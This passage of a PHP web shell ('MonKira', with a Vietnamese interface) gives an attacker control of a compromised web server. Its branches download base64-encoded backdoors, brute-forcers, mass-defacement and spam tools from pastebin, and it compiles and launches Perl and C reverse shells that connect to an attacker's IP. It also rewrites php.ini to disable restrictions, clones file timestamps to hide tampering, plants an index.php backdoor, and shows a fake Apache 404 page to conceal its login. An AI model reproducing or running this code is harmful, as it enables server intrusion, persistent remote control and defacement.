1584 chdir('MonKira');
1585 $pythonp = file_get_contents('http://pastebin.com/raw.php?i=dxLK815x');
1586 $file = fopen("MonKira.cin", "w+");
1587 $write = fwrite($file, base64_decode($pythonp));
1588 fclose($file);
1589 chmod("MonKira.cin", 0755);
1590 echo "<br /><center><b><font color='#33ff33' size='4'>Success!!</font><br /><br /><font color='yellow' size='4'>Open File:</font> <font size='4'><a href='MonKira/MonKira.cin' target='_blank' style='color:red'>MonKira.cin</a></font></b></center><center><font color='aqua' size='4'>Password:</font> <font size='4'><a style='color:red'>monkiradg</a></font>";
1591} elseif ($action == 'izo') {
1592 mkdir('MonKira', 0755);
1593 chdir('MonKira');
1594 $pythonp = file_get_contents('http://pastebin.com/raw.php?i=B4F9XxFF');
1595 $file = fopen("MonKira.izo", "w+");
1596 $write = fwrite($file, base64_decode($pythonp));
1597 fclose($file);
1598 chmod("MonKira.izo", 0755);
1599 echo "<br /><center><b><font color='#33ff33' size='4'>Success!!</font><br /><br /><font color='yellow' size='4'>Open File:</font> <font size='4'><a href='MonKira/MonKira.izo' target='_blank' style='color:red'>MonKira.izo</a></font></b></center><center><font color='aqua' size='4'>Password:</font> <font size='4'><a style='color:red'>monkiradg</a></font>";
1600} elseif ($action == 'shtml') {
1601 mkdir('MonKira', 0755);
1602 chdir('MonKira');
1603 $kokdosya = ".htaccess";
1604 $dosya_adi = "$kokdosya";
1605 $dosya = fopen($dosya_adi, 'w') or die("Can not open file!");
1606 $metin = "AddType text/html .shtml
1607AddHandler server-parsed .shtml
1608Options +Includes";
1609 fwrite($dosya, $metin);
1610 fclose($dosya);
1611 $pythonp = file_get_contents('http://pastebin.com/raw.php?i=vi3NsujB');
1612 $file = fopen("MonKira.shtml", "w+");
1613 $write = fwrite($file, base64_decode($pythonp));
1614 fclose($file);
1615 chmod("MonKira.shtml", 0755);
1616 echo "<br /><center><b><font color='#33ff33' size='4'>Success!!</font><br /><br /><font color='yellow' size='4'>Open File:</font> <font size='4'><a href='MonKira/MonKira.shtml' target='_blank' style='color:red'>MonKira.shtml</a></font></b></center><center><font color='aqua' size='4'>Password:</font> <font size='4'><a style='color:red'>monkiradg</a></font>";
1617} elseif ($action == 'backconnect') {
1618 !$yourip && $yourip = $_SERVER['REMOTE_ADDR'];
1619 !$yourport && $yourport = '7777';
1620 $usedb = array(
1621 'perl' => 'perl',
1622 'c' => 'c'
1623 );
1624 $back_connect = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj" . "aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR" . "hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT" . "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI" . "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi" . "KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl" . "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
1625 $back_connect_c = "I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC" . "BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb" . "SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd" . "KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ" . "sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC" . "Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D" . "QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp" . "Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";
1626 if ($start && $yourip && $yourport && $use) {
1627 if ($use == 'perl') {
1628 cf('/tmp/angel_bc', $back_connect);
1629 $res = execute(which('perl') . " /tmp/angel_bc $yourip $yourport &");
1630 } else {
1631 cf('/tmp/angel_bc.c', $back_connect_c);
1632 $res = execute('gcc -o /tmp/angel_bc /tmp/angel_bc.c');
1633 @unlink('/tmp/angel_bc.c');
1634 $res = execute("/tmp/angel_bc $yourip $yourport &");
1635 }
1636 m("Now script try connect to $yourip port $yourport ...");
1637 }
1638 formhead(array(
1639 'title' => '<h2>Lệnh Back Connect: nc -vv -l -p 7777 �<a style="color:aqua;" href="http://www.mediafire.com/download/oz2605n328gnkru" target="_blank" title="Tải Netcat tại đây">Tải NetCat�</a></h2>'
1640 ));
1641 makehide('action', 'backconnect');
1642 p('
1643');
1644 p('IP:');
1645 makeinput(array(
1646 'name' => 'yourip',
1647 'size' => 20,
1648 'value' => $yourip
1649 ));
1650 p('Cổng:');
1651 makeinput(array(
1652 'name' => 'yourport',
1653 'size' => 15,
1654 'value' => $yourport
1655 ));
1656 p('Use:');
1657 makeselect(array(
1658 'name' => 'use',
1659 'option' => $usedb,
1660 'selected' => $use
1661 ));
1662 makeinput(array(
1663 'name' => 'start',
1664 'value' => 'MonKira',
1665 'type' => 'submit',
1666 'class' => 'bt'
1667 ));
1668 p('');
1669 formfoot();
1670}
1671elseif ($action == 'symtool') {
1672 mkdir('SymTools', 0755);
1673 chdir('SymTools');
1674 $file = fopen($dir . "symtool.php", "w+");
1675 $perltoolss = file_get_contents('http://pastebin.com/raw.php?i=xr4p7eam');
1676 $file = fopen("symtool.php", "w+");
1677 $write = fwrite($file, base64_decode($perltoolss));
1678 fclose($file);
1679 echo "<br /><center><b><font color='#33ff33' size='4'>Success!!</font><br /><br /><font color='yellow' size='4'>Open File:</font> <font size='4'><a href='SymTools/symtool.php' target='_blank' style='color:red'>symtool.php</a></font></b></center>";
1680}
1681
1682elseif ($action == 'phpini') {
1683 $file = fopen($dir . "php.ini", "w+");
1684 $perltoolss = 'c2FmZV9tb2RlICAgICAgICAgID0gICAgICAgT0ZGCmRpc2FibGVfZnVuY3Rpb25zICAgICAgID0gICAgICAgICAgICBOT05F';
1685 $file = fopen("php.ini", "w+");
1686 $write = fwrite($file, base64_decode($perltoolss));
1687 fclose($file);
1688 echo "<br /><center><b><font color='#33ff33' size='4'>Tạo file php.ini thà nh công</font>";
1689}
1690
1691elseif ($action == 'termi') {
1692 $file = fopen($dir . "DGTerminal.php", "w+");
1693 $perltoolss = file_get_contents('http://pastebin.com/raw.php?i=F3AUVq9q');
1694 $file = fopen("DGTerminal.php", "w+");
1695 $write = fwrite($file, base64_decode($perltoolss));
1696 fclose($file);
1697 echo "<br /><center><b><font color='#33ff33' size='4'>Success!!</font><br /><br /><font color='yellow' size='4'>Open File:</font> <font size='4'><a href='DGTerminal.php' target='_blank' style='color:red'>DGTerminal.php</a></font></b></center><br><center><font color='aqua' size='4'>Username:</font> <font size='4'><a style='color:red'>admin</a></font> <br><font color='aqua' size='4'>Password:</font> <font size='4'><a style='color:red'>admin</a></font></b></center>";
1698
1699}
1700elseif ($action == 'weevely') {
1701 $file = fopen($dir . "modules.php", "w+");
1702 $perltoolss = file_get_contents('http://pastebin.com/raw.php?i=iH5hs2EV');
1703 $file = fopen("modules.php", "w+");
1704 $write = fwrite($file, base64_decode($perltoolss));
1705 fclose($file);
1706 echo "<br /><center><b><font color='#33ff33' size='4'>Success!!</font><br /><br /><b><a href='https://github.com/epinna/weevely3/archive/master.zip' target='_blank'><font color='#ff4e00' size='4'>Download Weevely</font></a><br><br></b><font color='yellow' size='4'>Open File:</font> <font size='4'><a href='modules.php' target='_blank' style='color:red'>modules.php</a></font></b></center><br><center><font color='aqua' size='4'>Password:</font> <font size='4'><a style='color:red'>monkira</a></font></b></center>";
1707
1708}
1709elseif ($action == 'brutewp') {
1710 $file = fopen($dir . "brutewp.php", "w+");
1711 $perltoolss = file_get_contents('http://pastebin.com/raw.php?i=msNKkZQx');
1712 $file = fopen("brutewp.php", "w+");
1713 $write = fwrite($file, base64_decode($perltoolss));
1714 fclose($file);
1715 echo "<br /><center><b><font color='#33ff33' size='4'>Success!!</font><br /><br /><font color='yellow' size='4'>Open File:</font> <font size='4'><a href='brutewp.php' target='_blank' style='color:red'>brutewp.php</a></font></b></center>";
1716}
1717elseif ($action == 'bcphp') {
1718 $file = fopen($dir . "backconnect.php", "w+");
1719 $perltoolss = file_get_contents('http://pastebin.com/raw.php?i=Q7mAs9Nf');
1720 $file = fopen("backconnect.php", "w+");
1721 $write = fwrite($file, base64_decode($perltoolss));
1722 fclose($file);
1723 echo "<br /><center><b><font color='#33ff33' size='4'>Success!!</font><br /><br /><font color='yellow' size='4'>Open File:</font> <font size='4'><a href='backconnect.php' target='_blank' style='color:red'>backconnect.php</a></font></b></center>";
1724}
1725elseif ($action == 'fakesym') {
1726 $file = fopen($dir . "fakesym.php", "w+");
1727 $perltoolss = file_get_contents('http://pastebin.com/raw.php?i=x99MXWEm');
1728 $file = fopen("fakesym.php", "w+");
1729 $write = fwrite($file, base64_decode($perltoolss));
1730 fclose($file);
1731 echo "<br /><center><b><font color='#33ff33' size='4'>Success!!</font><br /><br /><font color='yellow' size='4'>Open File:</font> <font size='4'><a href='fakesym.php' target='_blank' style='color:red'>fakesym.php</a></font></b></center>";
1732}
1733elseif ($action == 'pack') {
1734 $file = fopen($dir . "s-pack.php", "w+");
1735 $perltoolss = file_get_contents('http://pastebin.com/raw.php?i=KnQJY31M');
1736 $file = fopen("s-pack.php", "w+");
1737 $write = fwrite($file, base64_decode($perltoolss));
1738 fclose($file);
1739 echo "<br /><center><b><font color='#33ff33' size='4'>Success!!</font><br /><br /><font color='yellow' size='4'>Open File:</font> <font size='4'><a href='s-pack.php' target='_blank' style='color:red'>s-pack.php</a></font></b></center>";
1740}
1741elseif ($action == 'massfd') {
1742 $file = fopen($dir . "massfd.php", "w+");
1743 $perltoolss = file_get_contents('http://pastebin.com/raw.php?i=S0uCaquf');
1744 $file = fopen("massfd.php", "w+");
1745 $write = fwrite($file, base64_decode($perltoolss));
1746 fclose($file);
1747 echo "<br /><center><b><font color='#33ff33' size='4'>Success!!</font><br /><br /><font color='yellow' size='4'>Open File:</font> <font size='4'><a href='massfd.php' target='_blank' style='color:red'>massfd.php</a></font></b></center>";
1748}
1749elseif ($action == 'spam') {
1750 $file = fopen($dir . "fakemail.php", "w+");
1751 $perltoolss = file_get_contents('http://pastebin.com/raw.php?i=LjRcNVUa');
1752 $file = fopen("fakemail.php", "w+");
1753 $write = fwrite($file, base64_decode($perltoolss));
1754 fclose($file);
1755 echo "<br /><center><b><font color='#33ff33' size='4'>Success!!</font><br /><br /><font color='yellow' size='4'>Open File:</font> <font size='4'><a href='fakemail.php' target='_blank' style='color:red'>fakemail.php</a></font></b></center>";
1756}
1757elseif ($action == 'priv8') {
1758 $file = fopen($dir . "python.php", "w+");
1759 $perltoolss = file_get_contents('http://pastebin.com/raw.php?i=hfmB2ccM');
1760 $file = fopen("python.php", "w+");
1761 $write = fwrite($file, base64_decode($perltoolss));
1762 fclose($file);
1763 echo "<br /><center><b><font color='#33ff33' size='4'>Success!!</font><br /><br /><font color='yellow' size='4'>Open File:</font> <font size='4'><a href='python.php' target='_blank' style='color:red'>python.php</a></font></b></center>";
1764}
1765elseif ($action == 'zipcode') {
1766 $file = fopen($dir . "zip.php", "w+");
1767 $perltoolss = file_get_contents('http://pastebin.com/raw.php?i=mv4KY8ez');
1768 $file = fopen("zip.php", "w+");
1769 $write = fwrite($file, base64_decode($perltoolss));
1770 fclose($file);
1771 echo "<br /><center><b><font color='#33ff33' size='4'>Success!!</font><br /><br /><font color='yellow' size='4'>Open File:</font> <font size='4'><a href='zip.php' target='_blank' style='color:red'>zip.php</a></font></b></center>";
1772}
1773 elseif ($action == 'scan') {
1774 $file = fopen($dir . "scan.php", "w+");
1775 $perltoolss = file_get_contents('http://pastebin.com/raw.php?i=PiUR3LPb');
1776 $file = fopen("scan.php", "w+");
1777 $write = fwrite($file, base64_decode($perltoolss));
1778 fclose($file);
1779 echo "<br /><center><b><font color='#33ff33' size='4'>Success!!</font><br /><br /><font color='yellow' size='4'>Open File:</font> <font size='4'><a href='scan.php' target='_blank' style='color:red'>scan.php</a></font></b></center>";
1780}elseif ($action == 'mass') {
1781 $file = fopen($dir . "mass.php", "w+");
1782 $perltoolss = file_get_contents('http://pastebin.com/raw.php?i=v3aJKadW');
1783 $file = fopen("mass.php", "w+");
1784 $write = fwrite($file, base64_decode($perltoolss));
1785 fclose($file);
1786 echo "<br /><center><b><font color='#33ff33' size='4'>Success!!</font><br /><br /><font color='yellow' size='4'>Open File:</font> <font size='4'><a href='mass.php' target='_blank' style='color:red'>mass.php</a></font></b></center>";
1787}
1788 elseif ($action == 'brute') {
1789 $file = fopen($dir . "brute.php", "w+");
1790 $perltoolss = file_get_contents('http://pastebin.com/raw.php?i=06irSaZv');
1791 $file = fopen("brute.php", "w+");
1792 $write = fwrite($file, base64_decode($perltoolss));
1793 fclose($file);
1794 echo "<br /><center><b><font color='#33ff33' size='4'>Success!!</font><br /><br /><font color='yellow' size='4'>Open File:</font> <font size='4'><a href='brute.php' target='_blank' style='color:red'>brute.php</a></font></b></center>";
1795}
1796 elseif ($action == 'joomla') {
1797 $file = fopen($dir . "joomlabt.php", "w+");
1798 $perltoolss = file_get_contents('http://pastebin.com/raw.php?i=EXrxGmq3');
1799 $file = fopen("joomlabt.php", "w+");
1800 $write = fwrite($file, base64_decode($perltoolss));
1801 fclose($file);
1802 echo "<br /><center><b><font color='#33ff33' size='4'>Success!!</font><br /><br /><font color='yellow' size='4'>Open File:</font> <font size='4'><a href='joomlabt.php' target='_blank' style='color:red'>joomlabt.php</a></font></b></center>";
1803}
1804elseif ($action == 'symljnk') {
1805 $file = fopen($dir . "symljnk.php", "w+");
1806 $perltoolss = file_get_contents('http://pastebin.com/raw.php?i=Q30KY0bz');
1807 $file = fopen("symljnk.php", "w+");
1808 $write = fwrite($file, base64_decode($perltoolss));
1809 fclose($file);
1810 echo "<iframe src=symljnk.php width=100% height=720px frameborder=0></iframe>";
1811}
1812 elseif ($action == 'md5') {
1813 $file = fopen($dir . "md5.php", "w+");
1814 $perltoolss = file_get_contents('http://pastebin.com/raw.php?i=AxsVaupZ');
1815 $file = fopen("md5.php", "w+");
1816 $write = fwrite($file, base64_decode($perltoolss));
1817 fclose($file);
1818 echo "<iframe src=md5.php width=100% height=720px frameborder=0></iframe> ";
1819} elseif ($action == 'reverseip') {
1820
1821 echo "<iframe src=http://www.yougetsignal.com/tools/web-sites-on-web-server/ width=100% height=720px frameborder=0></iframe> ";
1822}
1823elseif ($action == 'df')
1824{
1825 $file = fopen("index.html", "w+");
1826 $data = base64_decode(file_get_contents('http://pastebin.com/raw.php?i=tju85jtK'));
1827 fwrite($file, $data);
1828 fclose($file);
1829 echo '<center>Tải lên index lên thành công !</center>';
1830 }
1831elseif ($action == 'backdoor')
1832{
1833 $file = fopen("index.php", "w+");
1834 $data = base64_decode(file_get_contents('http://pastebin.com/raw.php?i=GuK2mE5E'));
1835 fwrite($file, $data);
1836 fclose($file);
1837 echo '<center>Gắn BackDoor thành công!!</center></br>';
1838 echo '<a href="index.php?MonKira=dir -lia" target="_blank"><center><font color=#E0FFFF>Mở BackDoor Command</font></a></br></center>';
1839 echo '<a href="index.php?login=" target="_blank"><center><font color=#52F3FF>Mở BackDoor UpLoad</font></center></a>';
1840
1841}
1842elseif ($action == 'find')
1843{
1844 $file = fopen("findadmin.php", "w+");
1845 $perltoolss = file_get_contents('http://pastebin.com/raw.php?i=Wmib0LHd');
1846 $write = fwrite($file, base64_decode($perltoolss));
1847 fclose($file);
1848 echo "<br /><center><b><font color='#33ff33' size='4'>Success!!</font><br /><br /><font color='yellow' size='4'>Open File:</font> <font size='4'><a href='findadmin.php' target='_blank' style='color:red'>findadmin.php</a></font></b></center>";
1849}
1850elseif ($action == 'huongdan')
1851{
1852 echo "<iframe src=http://pastebin.com/raw.php?i=v6gwEzug width=100% height=720px frameborder=0 style=\"background-color: white;\"></iframe> ";
1853}
1854elseif ($action == 'exlocal')
1855{
1856 echo "<iframe src=http://pastebin.com/raw.php?i=PSSwEiY2 width=100% height=720px frameborder=0 style=\"background-color: white;\"></iframe> ";
1857}
1858elseif ($action == 'editfile') {
1859 if (file_exists($opfile)) {
1860 $fp = @fopen($opfile, 'r');
1861 $contents = @fread($fp, filesize($opfile));
1862 @fclose($fp);
1863 $contents = htmlspecialchars($contents);
1864 }
1865 formhead(array(
1866 'title' => 'Tạo mới và chỉnh sửa file'
1867 ));
1868 makehide('action', 'file');
1869 makehide('dir', $nowpath);
1870 makeinput(array(
1871 'title' => 'Path file (ghi đầy đủ path khi tạo mới file)',
1872 'name' => 'editfilename',
1873 'value' => $opfile,
1874 'newline' => 1
1875 ));
1876 maketext(array(
1877 'title' => 'Code file',
1878 'name' => 'filecontent',
1879 'value' => $contents
1880 ));
1881 formfooter();
1882} elseif ($action == 'newtime') {
1883 $opfilemtime = @filemtime($opfile);
1884 $cachemonth = array(
1885 'January' => 1,
1886 'February' => 2,
1887 'March' => 3,
1888 'April' => 4,
1889 'May' => 5,
1890 'June' => 6,
1891 'July' => 7,
1892 'August' => 8,
1893 'September' => 9,
1894 'October' => 10,
1895 'November' => 11,
1896 'December' => 12
1897 );
1898 formhead(array(
1899 'title' => 'Clone file was last modified time'
1900 ));
1901 makehide('action', 'file');
1902 makehide('dir', $nowpath);
1903 makeinput(array(
1904 'title' => 'Alter file',
1905 'name' => 'curfile',
1906 'value' => $opfile,
1907 'size' => 120,
1908 'newline' => 1
1909 ));
1910 makeinput(array(
1911 'title' => 'Reference file (fullpath)',
1912 'name' => 'tarfile',
1913 'size' => 120,
1914 'newline' => 1
1915 ));
1916 formfooter();
1917 formhead(array(
1918 'title' => 'Set last modified'
1919 ));
1920 makehide('action', 'file');
1921 makehide('dir', $nowpath);
1922 makeinput(array(
1923 'title' => 'Path file hiện tại:',
1924 'name' => 'curfile',
1925 'value' => $opfile,
1926 'size' => 120,
1927 'newline' => 1
1928 ));
1929 p('<p>Instead »');
1930 p('year:');
1931 makeinput(array(
1932 'name' => 'year',
1933 'value' => date('Y', $opfilemtime),
1934 'size' => 4
1935 ));
1936 p('month:');
1937 makeinput(array(
1938 'name' => 'month',
1939 'value' => date('m', $opfilemtime),
1940 'size' => 2
1941 ));
1942 p('day:');
1943 makeinput(array(
1944 'name' => 'day',
1945 'value' => date('d', $opfilemtime),
1946 'size' => 2
1947 ));
1948 p('hour:');
1949 makeinput(array(
1950 'name' => 'hour',
1951 'value' => date('H', $opfilemtime),
1952 'size' => 2
1953 ));
1954 p('minute:');
1955 makeinput(array(
1956 'name' => 'minute',
1957 'value' => date('i', $opfilemtime),
1958 'size' => 2
1959 ));
1960 p('second:');
1961 makeinput(array(
1962 'name' => 'second',
1963 'value' => date('s', $opfilemtime),
1964 'size' => 2
1965 ));
1966 p('</p>');
1967 formfooter();
1968} elseif ($action == 'symroot') {
1969 $file = fopen($dir . "symroot.php", "w+");
1970 $perltoolss = file_get_contents('http://pastebin.com/raw.php?i=cJZV55s1');
1971 $file = fopen("symroot.php", "w+");
1972 $write = fwrite($file, base64_decode($perltoolss));
1973 fclose($file);
1974 echo "<br /><center><b><font color='#33ff33' size='4'>Success!!</font><br /><br /><font color='yellow' size='4'>Open File:</font> <font size='4'><a href='symroot.php' target='_blank' style='color:red'>symroot.php</a></font></b></center>";
1975}
1976if ($action == 'shell') {
1977 if (IS_WIN && IS_COM) {
1978 if ($program && $parameter) {
1979 $shell = new COM('Shell.Application');
1980 $a = $shell->ShellExecute($program, $parameter);
1981 m('Program run has ' . (!$a ? 'success' : 'fail'));
1982 }
1983 !$program && $program = 'c:\indows\ystem32\md.exe';
1984 !$parameter && $parameter = '/c net start > ' . SA_ROOT . 'log.txt';
1985 formhead(array(
1986 'title' => 'Execute Program'
1987 ));
1988 makehide('action', 'shell');
1989 makeinput(array(
1990 'title' => 'Program',
1991 'name' => 'program',
1992 'value' => $program,
1993 'newline' => 1
1994 ));
1995 p('<p>');
1996 makeinput(array(
1997 'title' => 'Parameter',
1998 'name' => 'parameter',
1999 'value' => $parameter
2000 ));
2001 makeinput(array(
2002 'name' => 'submit',
2003 'class' => 'bt',
2004 'type' => 'submit',
2005 'value' => 'Execute'
2006 ));
2007 p('</p>');
2008 formfoot();
2009 }
2010 formhead(array(
2011 'title' => 'Execute Command'
2012 ));
2013 makehide('action', 'shell');
2014 if (IS_WIN && IS_COM) {
2015 $execfuncdb = array(
2016 'phpfunc' => 'phpfunc',
2017 'wscript' => 'wscript',
2018 'proc_open' => 'proc_open'
2019 );
2020 makeselect(array(
2021 'title' => 'Use:',
2022 'name' => 'execfunc',
2023 'option' => $execfuncdb,
2024 'selected' => $execfunc,
2025 'newline' => 1
2026 ));
2027 }
2028 p('<p>');
2029 makeinput(array(
2030 'title' => 'Command',
2031 'name' => 'command',
2032 'value' => $command
2033 ));
2034 makeinput(array(
2035 'name' => 'submit',
2036 'class' => 'bt',
2037 'type' => 'submit',
2038 'value' => 'Execute'
2039 ));
2040 p('</p>');
2041 formfoot();
2042 if ($command) {
2043 p('<hr width="100%" noshade /><pre>');
2044 if ($execfunc == 'wscript' && IS_WIN && IS_COM) {
2045 $wsh = new COM('WScript.shell');
2046 $exec = $wsh->exec('cmd.exe /c ' . $command);
2047 $stdout = $exec->StdOut();
2048 $stroutput = $stdout->ReadAll();
2049 echo $stroutput;
2050 } elseif ($execfunc == 'proc_open' && IS_WIN && IS_COM) {
2051 $descriptorspec = array(
2052 0 => array(
2053 'pipe',
2054 'r'
2055 ),
2056 1 => array(
2057 'pipe',
2058 'w'
2059 ),
2060 2 => array(
2061 'pipe',
2062 'w'
2063 )
2064 );
2065 $process = proc_open($_SERVER['COMSPEC'], $descriptorspec, $pipes);
2066 if (is_resource($process)) {
2067 fwrite($pipes[0], $command . "
2068");
2069 fwrite($pipes[0], "exit
2070");
2071 fclose($pipes[0]);
2072 while (!feof($pipes[1])) {
2073 echo fgets($pipes[1], 1024);
2074 }
2075 fclose($pipes[1]);
2076 while (!feof($pipes[2])) {
2077 echo fgets($pipes[2], 1024);
2078 }
2079 fclose($pipes[2]);
2080 proc_close($process);
2081 }
2082 } else {
2083 echo (execute($command));
2084 }
2085 p('</pre>');
2086 }
2087}
2088?></td></tr></table>
2089<div style="padding:10px;border-bottom:1px solid #0E0E0E;border-top:1px solid #0E0E0E;background:#0E0E0E;">
2090 <span style="float:right;"><?php
2091debuginfo();
2092ob_end_flush();
2093?></span>
2094 Copyright @ 2015 By: <a href=http://facebook.com/monkira.hs target=_blank><B>.:: MonKira ::. </B></a>
2095</div>
2096</body>
2097</html>
2098<?php
2099function m($msg)
2100{
2101 echo '<div style="background:#f1f1f1;border:1px solid #ddd;padding:15px;font:14px;text-align:center;font-weight:bold;">';
2102 echo $msg;
2103 echo '</div>';
2104}
2105function scookie($key, $value, $life = 0, $prefix = 1)
2106{
2107 global $admin, $timestamp, $_SERVER;
2108 $key = ($prefix ? $admin['cookiepre'] : '') . $key;
2109 $life = $life ? $life : $admin['cookielife'];
2110 $useport = $_SERVER['SERVER_PORT'] == 443 ? 1 : 0;
2111 setcookie($key, $value, $timestamp + $life, $admin['cookiepath'], $admin['cookiedomain'], $useport);
2112}
2113function multi($num, $perpage, $curpage, $tablename)
2114{
2115 $multipage = '';
2116 if ($num > $perpage) {
2117 $page = 10;
2118 $offset = 5;
2119 $pages = @ceil($num / $perpage);
2120 if ($page > $pages) {
2121 $from = 1;
2122 $to = $pages;
2123 } else {
2124 $from = $curpage - $offset;
2125 $to = $curpage + $page - $offset - 1;
2126 if ($from < 1) {
2127 $to = $curpage + 1 - $from;
2128 $from = 1;
2129 if (($to - $from) < $page && ($to - $from) < $pages) {
2130 $to = $page;
2131 }
2132 } elseif ($to > $pages) {
2133 $from = $curpage - $pages + $to;
2134 $to = $pages;
2135 if (($to - $from) < $page && ($to - $from) < $pages) {
2136 $from = $pages - $page + 1;
2137 }
2138 }
2139 }
2140 $multipage = ($curpage - $offset > 1 && $pages > $page ? '<a href="javascript:settable(\'' . $tablename . '\', \'\', 1);">First</a> ' : '') . ($curpage > 1 ? '<a href="javascript:settable(\'' . $tablename . '\', \'\', ' . ($curpage - 1) . ');">Prev</a> ' : '');
2141 for ($i = $from; $i <= $to; $i++) {
2142 $multipage .= $i == $curpage ? $i . ' ' : '<a href="javascript:settable(\'' . $tablename . '\', \'\', ' . $i . ');">[' . $i . ']</a> ';
2143 }
2144 $multipage .= ($curpage < $pages ? '<a href="javascript:settable(\'' . $tablename . '\', \'\', ' . ($curpage + 1) . ');">Next</a>' : '') . ($to < $pages ? ' <a href="javascript:settable(\'' . $tablename . '\', \'\', ' . $pages . ');">Last</a>' : '');
2145 $multipage = $multipage ? '<p>Pages: ' . $multipage . '</p>' : '';
2146 }
2147 return $multipage;
2148}
2149function loginpage()
2150{
2151?>
2152<?php $MonKira = file_get_contents ('http://pastebin.com/raw/RG0G8qEw');
2153$MonKira1 = "<title>404 Not Found</title>
2154<body><h1>Not Found</h1>
2155<p>The requested URL was not found on this server.</p>
2156<hr>";
2157$host = $_SERVER['HTTP_HOST'];
2158if($_GET['login']=='MonKira')
2159{
2160echo $MonKira;
2161}
2162else{
2163 echo $MonKira1;
2164 echo '<address>Apache/2.2.27 (CentOS) Server at '.$host.' Port 80</address>';
2165}
2166?>
2167<?php
2168//setup php for working with Unicode data
2169mb_internal_encoding('UTF-8');
2170mb_http_output('UTF-8');
2171mb_http_input('UTF-8');
2172mb_language('uni');
2173mb_regex_encoding('UTF-8');
2174ob_start('mb_output_handler');
2175 exit;
2176}
2177function execute($cfe)
2178{
2179 $res = '';
2180 if ($cfe) {
2181 if (function_exists('exec')) {
2182 @exec($cfe, $res);
2183 $res = join("
2184", $res);
2185 } elseif (function_exists('shell_exec')) {
2186 $res = @shell_exec($cfe);
2187 } elseif (function_exists('system')) {
2188 @ob_start();
2189 @system($cfe);
2190 $res = @ob_get_contents();
2191 @ob_end_clean();
2192 } elseif (function_exists('passthru')) {
2193 @ob_start();
2194 @passthru($cfe);
2195 $res = @ob_get_contents();
2196 @ob_end_clean();
2197 } elseif (@is_resource($f = @popen($cfe, "r"))) {
2198 $res = '';
2199 while (!@feof($f)) {
2200 $res .= @fread($f, 1024);
2201 }
2202 @pclose($f);
2203 }
2204 }
2205 return $res;
2206}
2207function which($pr)
2208{
2209 $path = execute("which $pr");
2210 return ($path ? $path : $pr);
2211}
2212function cf($fname, $text)
2213{
2214 if ($fp = @fopen($fname, 'w')) {
2215 @fputs($fp, @base64_decode($text));
2216 @fclose($fp);
2217 }
2218}
2219function debuginfo()
2220{
2221 global $starttime;
2222 $mtime = explode(' ', microtime());
2223 $totaltime = number_format(($mtime[1] + $mtime[0] - $starttime), 6);
2224 echo ' Xử lí trong ' . $totaltime . ' giây(s)';
2225}
2226function dbconn($dbhost, $dbuser, $dbpass, $dbname = '', $charset = '', $dbport = '3306')
2227{
2228 if (!$link = @mysql_connect($dbhost . ':' . $dbport, $dbuser, $dbpass)) {
2229 p('<h2>Không thể kết nối tơi MySQL server</h2>');
2230 exit;
2231 }
2232 if ($link && $dbname) {
2233 if (!@mysql_select_db($dbname, $link)) {
2234 p('<h2>Database chọn lỗi</h2>');
2235 exit;
2236 }
2237 }
2238 if ($link && mysql_get_server_info() > '4.1') {
2239 if (in_array(strtolower($charset), array(
2240 'gbk',
2241 'big5',
2242 'utf8'
2243 ))) {
2244 q("SET character_set_connection=$charset, character_set_results=$charset, character_set_client=binary;", $link);
2245 }
2246 }
2247 return $link;
2248}
2249function s_array(&$array)
2250{
2251 if (is_array($array)) {
2252 foreach ($array as $k => $v) {
2253 $array[$k] = s_array($v);
2254 }
2255 } else if (is_string($array)) {
2256 $array = stripslashes($array);
2257 }
2258 return $array;
2259}
2260function html_clean($content)
2261{
2262 $content = htmlspecialchars($content);
2263 $content = str_replace("\n", "<br />", $content);
2264 $content = str_replace(" ", " ", $content);
2265 $content = str_replace("\t", " ", $content);
